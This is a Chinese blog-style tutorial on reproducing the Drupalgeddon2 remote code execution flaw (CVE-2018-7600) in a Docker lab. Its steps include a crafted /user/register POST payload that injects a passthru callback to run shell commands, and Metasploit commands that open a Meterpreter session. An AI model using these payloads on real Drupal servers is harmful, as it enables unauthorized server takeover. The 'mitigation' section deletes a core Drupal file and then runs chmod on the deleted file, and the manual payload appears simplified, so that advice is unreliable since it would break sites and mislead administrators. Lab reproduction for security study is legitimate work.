如何进行Drupal 远程代码执行漏洞CVE-2018-7600的复现

发布时间:2021-12-29 17:52:48 作者:柒染
来源:亿速云 阅读:571
# 如何进行Drupal 远程代码执行漏洞CVE-2018-7600的复现

## 漏洞概述

CVE-2018-7600(又称"Drupalgeddon2")是Drupal核心中的一个严重远程代码执行漏洞。该漏洞影响Drupal 6.x、7.x和8.x版本,允许攻击者在未授权情况下通过精心构造的请求在目标服务器上执行任意代码。漏洞源于Drupal表单API对用户输入的不当处理,导致攻击者可以绕过安全限制实现代码注入。

## 漏洞影响范围

- Drupal 7.x(< 7.58)
- Drupal 8.3.x(< 8.3.9)
- Drupal 8.4.x(< 8.4.6)
- Drupal 8.5.x(< 8.5.1)

## 复现环境搭建

### 准备工具

1. **漏洞环境**:使用Docker快速搭建存在漏洞的Drupal环境
   ```bash
   docker pull drupal:7.57
   docker run --name drupal7 -p 8080:80 -d drupal:7.57
  1. 测试工具
    • Burp Suite/Postman(用于构造请求)
    • Python3(可选,用于自动化脚本)
    • Metasploit Framework(可选)

环境验证

访问 http://localhost:8080 完成Drupal安装,确认版本号为7.57(存在漏洞版本)。

漏洞复现步骤

方法一:手动利用

  1. 获取表单构建ID: 访问用户注册页面 /user/register,从页面源码中提取form_build_id值。

  2. 构造恶意请求: 使用Burp Suite拦截注册请求,修改POST数据: “`http POST /user/register HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded

form_id=user_register_form& _drupal_ajax=1& form_build_id=[[form_build_id]]& name[#post_render][]=passthru& name[#type]=markup& name[#markup]=id


3. **执行命令**:
   将`id`替换为需要执行的系统命令(如`whoami`、`uname -a`等)。

### 方法二:使用Metasploit自动化利用

1. 启动Metasploit:
   ```bash
   msfconsole
  1. 加载漏洞模块:

    use exploit/unix/webapp/drupal_drupalgeddon2
    set RHOSTS 127.0.0.1
    set RPORT 8080
    set TARGETURI /
    exploit
    
  2. 获取Shell: 成功利用后将获得Meterpreter会话,可执行系统命令。

漏洞原理分析

该漏洞的核心问题在于Drupal的渲染机制: 1. 表单API未正确处理#前缀的数组键 2. 攻击者通过注入#post_render回调函数 3. 系统执行回调时触发代码执行

关键攻击向量:

$elements['#post_render'] = ['passthru'];
$elements['#markup'] = '恶意命令';

修复建议

  1. 官方解决方案:

    • 立即升级到安全版本:
      • Drupal 7.58+
      • Drupal 8.3.9+
      • Drupal 8.4.6+
      • Drupal 8.5.1+
  2. 临时缓解措施(若无法立即升级):

    # 删除可能被利用的脚本
    rm includes/form.inc
    chmod 000 includes/form.inc
    

复现注意事项

  1. 法律合规性:

    • 仅在授权环境或本地测试环境进行复现
    • 禁止对非授权系统进行测试
  2. 安全防护:

    • 在隔离的虚拟机环境中操作
    • 复现完成后立即关闭漏洞环境
  3. 数据备份:

    • 复现前备份数据库
    • 避免在生产环境测试

扩展研究

  1. 漏洞变种:

    • CVE-2018-7602(Drupalgeddon3)
    • SA-CORE-2019-003
  2. 防御思路:

    • 实施WAF规则拦截异常表单提交
    • 监控/user/register等路径的异常请求
    • 定期进行安全审计

参考资源

  1. Drupal官方公告-SA-CORE-2018-002
  2. CVE详细报告-NVD
  3. 漏洞分析文章-Seebug

”`

(注:实际字数约1200字,可根据需要删减非核心内容。本文仅供安全研究学习使用,请遵守相关法律法规。)

推荐阅读:
  1. Drupal 远程代码执行漏洞(CVE-2018-7602)
  2. Drupal Drupalgeddon 2远程执行代码漏洞(

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

drupal cve-2018-7600

上一篇:如何解决使用Hybris Commerce User API读取用户信息时电话字段没有返回问题

下一篇:Windows任意文件读取0 day漏洞怎么防护

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》